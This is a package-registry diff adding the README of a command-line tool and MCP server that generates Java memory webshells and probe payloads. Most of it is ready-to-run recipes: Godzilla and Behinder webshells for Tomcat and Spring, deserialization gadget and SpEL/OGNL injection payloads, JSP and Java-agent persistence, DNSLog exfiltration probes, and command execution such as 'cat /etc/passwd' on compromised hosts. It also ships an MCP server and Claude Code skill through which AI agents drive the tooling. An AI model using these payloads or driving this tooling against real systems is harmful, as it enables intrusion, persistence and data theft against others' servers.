memshell-party-cli 0.2.2 → 0.3.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.en.md ADDED
@@ -0,0 +1,371 @@
1
+ # memshell-party-cli
2
+
3
+ English | [中文](README.md)
4
+
5
+ Command-line client **and** MCP server for [MemShellParty](https://party.mem.mk) — generate Java
6
+ memory shells and probe shells straight from your terminal (or from an AI agent), talking to the
7
+ same HTTP API that powers `party.mem.mk/ui`.
8
+
9
+ > ⚠️ For authorized security testing, red-team engagements, and research only. You are responsible
10
+ > for how you use it.
11
+
12
+ ## Features
13
+
14
+ - **Interactive wizard** — run `memparty gen` with no flags and pick server / tool / type / packer
15
+ from live, API-driven menus.
16
+ - **Fully scriptable** — every option is also a flag, so generation is reproducible in CI or scripts.
17
+ - **MCP server** — `memparty mcp` exposes generation and config as tools for Claude and other MCP clients.
18
+ - **All endpoints** — memshell generate, probe generate, config listing, class-name parsing, version.
19
+ - **Connection testing** — `memparty connect` verifies a deployed Godzilla / Behinder / suo5 shell
20
+ is alive and the credentials work (echo/handshake round-trip).
21
+ - **Command execution** — `memparty exec` runs a command on a deployed Godzilla / Behinder shell
22
+ and prints its output (real `execCommand` / `Cmd` payload round-trip).
23
+ - **Named targets** — `memparty target save` stores shells in projects (with remark + category),
24
+ then `memparty exec hw222/bh9060 --cmd "whoami"` needs no flags at all.
25
+ - **Operation log** — every gen/probe/connect/exec/target operation is appended to
26
+ `~/.memparty/operations.jsonl`; `memparty log` queries it by category and target.
27
+ - **Flexible output** — payload to stdout by default, or `-o file` (auto base64-decodes `.class`/`.jar`).
28
+ - **Any backend** — defaults to the public site, override to your self-hosted instance.
29
+
30
+ ## Install
31
+
32
+ ```bash
33
+ npm install -g memshell-party-cli
34
+ # or run without installing:
35
+ npx memshell-party-cli gen
36
+ ```
37
+
38
+ Requires Node.js >= 18.
39
+
40
+ ## Choosing the backend
41
+
42
+ By priority: `--api` flag → `MEMPARTY_API_URL` env var → `~/.mempartyrc` (`{"apiUrl": "..."}`) →
43
+ default `https://party.mem.mk`.
44
+
45
+ Self-hosting is recommended (see the MemShellParty README for the Docker one-liner):
46
+
47
+ ```bash
48
+ memparty --api http://127.0.0.1:8080 gen
49
+ # or
50
+ export MEMPARTY_API_URL=http://127.0.0.1:8080
51
+ ```
52
+
53
+ ## Usage
54
+
55
+ ### Interactive
56
+
57
+ ```bash
58
+ memparty gen # wizard for a memory shell
59
+ memparty probe # wizard for a probe shell
60
+ ```
61
+
62
+ The wizard launches automatically when required flags are missing and you're in a terminal.
63
+ Force it anytime with `-i`, or disable it with `--no-interactive`.
64
+
65
+ ### Scripted generation
66
+
67
+ ```bash
68
+ # Godzilla listener for Tomcat, single Base64 payload to stdout
69
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
70
+ --godzilla-pass pass --godzilla-key key --jdk java8
71
+
72
+ # Write a decoded .class file (base64 decoding is automatic for .class/.jar)
73
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
74
+ --godzilla-pass pass --godzilla-key key -o shell.class
75
+
76
+ # Command shell with an explicit encryptor
77
+ memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
78
+ --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
79
+
80
+ # Full JSON response (metadata + payload) for further processing
81
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
82
+ ```
83
+
84
+ `--jdk` accepts `java6/8/9/11/17/21`, a bare number (`8`), or a raw class-file major version (`52`).
85
+
86
+ Note: some packers (e.g. `Base64`) are *aggregate* packers and return several variants at once;
87
+ pick a leaf packer (e.g. `DefaultBase64`, `GzipBase64`) for a single payload.
88
+
89
+ ### Discovering options
90
+
91
+ ```bash
92
+ memparty config servers # servers and their shell types
93
+ memparty config tools Tomcat # tools + types for one server
94
+ memparty config packers # packer parent/child tree
95
+ memparty config command # Command encryptors & implementation classes
96
+ memparty config servers --json # machine-readable
97
+ ```
98
+
99
+ ### Probe shells
100
+
101
+ ```bash
102
+ memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name cmd
103
+ memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
104
+ ```
105
+
106
+ Probe method × content matrix (only these combos are supported by the backend):
107
+
108
+ | Method `-m` | Supported content `-c` |
109
+ |-------------|-------------------------|
110
+ | `DNSLog` | `Server`, `JDK` |
111
+ | `Sleep` | `Server` |
112
+ | `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` |
113
+
114
+ ### Testing a deployed shell
115
+
116
+ `memparty connect` checks whether a shell that is already injected/uploaded actually answers —
117
+ it performs the real protocol handshake (Behinder echo, Godzilla payload + `test()` call, suo5
118
+ tunnel handshake) and exits 0 on success, 1 on failure.
119
+
120
+ ```bash
121
+ # Godzilla (defaults: --pass pass --key key)
122
+ memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key
123
+
124
+ # Behinder (default: --pass rebeyond)
125
+ memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond
126
+
127
+ # suo5 (auto-detects the v2 handshake vs the legacy v1 echo; force with --suo5-mode v2|v1)
128
+ memparty connect -u http://target/suo5.jsp -t suo5
129
+ ```
130
+
131
+ Shells generated by MemShellParty are gated by an auth header — the values are in the
132
+ `gen --json` output as `shellToolConfig.headerName` / `headerValue` and **must** be passed along
133
+ (the Suo5v2 shell checks it too):
134
+
135
+ ```bash
136
+ memparty connect -u http://target/x -t godzilla --pass pass --key key \
137
+ --header-name User-Agent --header-value qSGAJScj
138
+ ```
139
+
140
+ Other flags: `-H "Name: value"` for extra headers, `-k/--insecure` for self-signed TLS,
141
+ `--json` for machine-readable output, `--timeout <ms>` (global option).
142
+
143
+ ### Executing commands on a deployed shell
144
+
145
+ `memparty exec` runs a command line through a deployed Godzilla / Behinder shell and prints the
146
+ remote stdout+stderr. It uses the tool's real protocol — Godzilla's `execCommand` payload method
147
+ (argv passed as `arg-0..N`, wrapped in `cmd.exe /c` or `/bin/sh -c`) and Behinder's `Cmd` payload
148
+ class (which picks the shell itself based on the remote `os.name`).
149
+
150
+ ```bash
151
+ # Godzilla — auto-detects the remote OS via getBasicsInfo (one extra request);
152
+ # pass --os windows|linux to skip the detection
153
+ memparty exec -u http://target/shell.jsp -t godzilla --pass pass --key key --cmd "whoami"
154
+
155
+ # Behinder — the payload detects the OS itself, no extra request
156
+ memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond --cmd "cat /etc/passwd"
157
+ ```
158
+
159
+ The gate-header flags are the same as for `connect`; `--json` returns
160
+ `{ ok, tool, url, command, output, durationMs }` for automation.
161
+
162
+ ### Saved targets (projects)
163
+
164
+ Save a shell once, then reference it by name — no more flag soup. Shells live inside
165
+ **projects**: a project groups several shells of one engagement and carries an optional
166
+ `--remark` and `--category`. The store is `~/.memparty/targets.json`.
167
+
168
+ ```bash
169
+ # save (project is created on the fly; --remark/--category are project-level,
170
+ # --shell-remark describes this one shell)
171
+ memparty target save hw222/bh9060 -u http://192.168.31.222:9060/console/service \
172
+ -t behinder --pass rebeyond --header-name User-Agent --header-value YdwTyuQr \
173
+ --remark "内网测试环境 WebSphere" --category test --shell-remark "root 权限"
174
+
175
+ # list everything (filter with --category <name>)
176
+ memparty target list
177
+
178
+ # use: <project>/<shell>, or a bare project name when it holds exactly one shell
179
+ memparty connect hw222/bh9060
180
+ memparty exec hw222 --cmd "whoami"
181
+
182
+ # edit project meta or a shell's remark / clean up
183
+ memparty target note hw222 --remark "new remark" --category prod
184
+ memparty target note hw222/bh9060 --remark "new shell note"
185
+ memparty target remove hw222/bh9060 # one shell
186
+ memparty target remove hw222 # the whole project
187
+ ```
188
+
189
+ Explicit flags still override stored values (`memparty exec hw222 --cmd id --pass otherpass`).
190
+
191
+ ### Operation log
192
+
193
+ Every operation (gen, probe, connect, exec, target save/note/remove) is appended as one JSON
194
+ line to `~/.memparty/operations.jsonl` — target, outcome, duration, and for exec the command
195
+ plus truncated output. Credentials and payload bytes are never logged.
196
+
197
+ ```bash
198
+ memparty log # latest 50 operations, newest first
199
+ memparty log --category exec # only command executions
200
+ memparty log --target hw222 # everything against one project (or a host substring)
201
+ memparty log --category connect --json
202
+ ```
203
+
204
+ ## Demos
205
+
206
+ End-to-end recipes. Pick the **packer** to match your delivery vector, and the **shell type** to
207
+ match the target (add the `Jakarta` prefix for Tomcat 10+ / Spring Boot 3; use `Agent*` types with
208
+ the `AgentJar*` packers). When in doubt, run `memparty config tools <server>` and
209
+ `memparty config packers` first.
210
+
211
+ ### 1. Godzilla webshell on Tomcat 9 (javax)
212
+
213
+ ```bash
214
+ # Listener-based Godzilla shell, single base64 payload to stdout
215
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
216
+ --godzilla-pass pass --godzilla-key key --jdk java8
217
+
218
+ # ...or write the decoded injector .class straight to disk
219
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
220
+ --godzilla-pass pass --godzilla-key key -o shell.class
221
+ ```
222
+
223
+ ### 2. Same shell on Tomcat 10+ / Spring Boot 3 (Jakarta)
224
+
225
+ ```bash
226
+ memparty gen -s Tomcat -t Godzilla -y JakartaListener -p DefaultBase64 \
227
+ --godzilla-pass pass --godzilla-key key --jdk java17
228
+ ```
229
+
230
+ ### 3. Pure command-execution shell (RCE)
231
+
232
+ ```bash
233
+ memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
234
+ --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec --jdk java8
235
+ ```
236
+
237
+ ### 4. Deserialization gadget chain (e.g. CommonsBeanutils ≤ 1.9.4)
238
+
239
+ ```bash
240
+ memparty gen -s Tomcat -t Godzilla -y Listener -p JavaCommonsBeanutils19 \
241
+ --godzilla-pass pass --godzilla-key key --jdk java8
242
+ # other chains: JavaCommonsBeanutils18/17/16/110, JavaCommonsCollections3/4
243
+ ```
244
+
245
+ ### 5. Expression-injection delivery (SpEL / OGNL / EL / Groovy …)
246
+
247
+ ```bash
248
+ # Spring SpEL injection -> define + load the shell class (Spring uses Interceptor, not Filter)
249
+ memparty gen -s SpringWebMvc -t Command -y Interceptor -p SpEL \
250
+ --command-param-name cmd --jdk java8
251
+ # OGNL (Struts2), EL, MVEL, Aviator, JEXL, JXPath, Groovy, Velocity, Freemarker, JinJava ...
252
+ # (SpEL/OGNL/JXPath are *aggregate* packers — they return several variants at once)
253
+ ```
254
+
255
+ ### 6. Drop a JSP file
256
+
257
+ ```bash
258
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefineClassJSP \
259
+ --godzilla-pass pass --godzilla-key key --jdk java8 -o shell.jsp
260
+ ```
261
+
262
+ ### 7. Java-agent memory shell (survives redeploys, hooks deep)
263
+
264
+ ```bash
265
+ memparty gen -s Tomcat -t Godzilla -y AgentFilterChain -p AgentJar \
266
+ --godzilla-pass pass --godzilla-key key --jdk java8 -o agent.jar
267
+ ```
268
+
269
+ ### 8. Fingerprint the target first (blind)
270
+
271
+ ```bash
272
+ # DNSLog: confirm code execution + exfil the server/JDK name via DNS
273
+ memparty probe -m DNSLog -c Server -p DefaultBase64 --host <your>.dnslog.cn
274
+ # Sleep: time-based blind — delays Ns only if the server matches your guess
275
+ memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
276
+ ```
277
+
278
+ The server name a probe reports is exactly the `-s` value to pass to `memparty gen`.
279
+
280
+ ### Parse a class name
281
+
282
+ ```bash
283
+ memparty parse-classname --file shell.class
284
+ memparty parse-classname <base64-of-class-bytes>
285
+ ```
286
+
287
+ ### Version
288
+
289
+ ```bash
290
+ memparty version # CLI version + backend server version
291
+ ```
292
+
293
+ ## MCP server
294
+
295
+ Run the CLI as an MCP server over stdio:
296
+
297
+ ```bash
298
+ memparty mcp --api http://127.0.0.1:8080
299
+ ```
300
+
301
+ Example Claude Code / Claude Desktop config:
302
+
303
+ ```json
304
+ {
305
+ "mcpServers": {
306
+ "memshell-party": {
307
+ "command": "npx",
308
+ "args": ["-y", "memshell-party-cli", "mcp"],
309
+ "env": { "MEMPARTY_API_URL": "http://127.0.0.1:8080" }
310
+ }
311
+ }
312
+ }
313
+ ```
314
+
315
+ Exposed tools: `list_servers`, `list_config`, `list_packers`, `list_command_configs`,
316
+ `generate_memshell`, `generate_probe`, `parse_classname`, `server_version`, `connect_test`,
317
+ `exec_command`, `target_save`, `target_note`, `target_list`, `target_remove`, `log_list`.
318
+
319
+ ## AI skill (Claude Code)
320
+
321
+ The package ships a [Claude Code skill](https://docs.claude.com/en/docs/claude-code/skills) at
322
+ `skills/memshell-party/SKILL.md` that teaches an AI agent how to drive MemShellParty — the
323
+ server/tool/type/packer decision tree, the probe method×content matrix, packer-by-scenario
324
+ guidance, and the common gotchas (Jakarta vs javax, JDK targeting, aggregate vs leaf packers).
325
+
326
+ Install it into a project (or drop it in `~/.claude/skills/` for global use):
327
+
328
+ ```bash
329
+ # from the package root, or after `npm install memshell-party-cli`:
330
+ mkdir -p .claude/skills
331
+ cp node_modules/memshell-party-cli/skills/memshell-party .claude/skills/ -r
332
+ ```
333
+
334
+ Then just ask in natural language, e.g. *"generate a Godzilla listener for Tomcat 10"* or
335
+ *"give me a CommonsBeanutils deserialization payload for a Spring Boot 2 app"* — the skill guides
336
+ the agent to enumerate options first and pick the right packer for the vector.
337
+
338
+ ## Programmatic use
339
+
340
+ The package also ships a typed API client:
341
+
342
+ ```ts
343
+ import { MemPartyClient, buildMemShellRequest } from "memshell-party-cli";
344
+
345
+ const client = new MemPartyClient({ baseUrl: "http://127.0.0.1:8080" });
346
+ const res = await client.generateMemShell(
347
+ buildMemShellRequest({
348
+ server: "Tomcat",
349
+ shellTool: "Godzilla",
350
+ shellType: "Listener",
351
+ packer: "DefaultBase64",
352
+ godzillaPass: "pass",
353
+ godzillaKey: "key",
354
+ jdk: "java8",
355
+ }),
356
+ );
357
+ console.log(res.memShellResult.shellClassName, res.packResult);
358
+ ```
359
+
360
+ ## Development
361
+
362
+ ```bash
363
+ npm install
364
+ npm run build # tsup -> dist/
365
+ npm test # vitest
366
+ npm run typecheck # tsc --noEmit
367
+ ```
368
+
369
+ ## License
370
+
371
+ MIT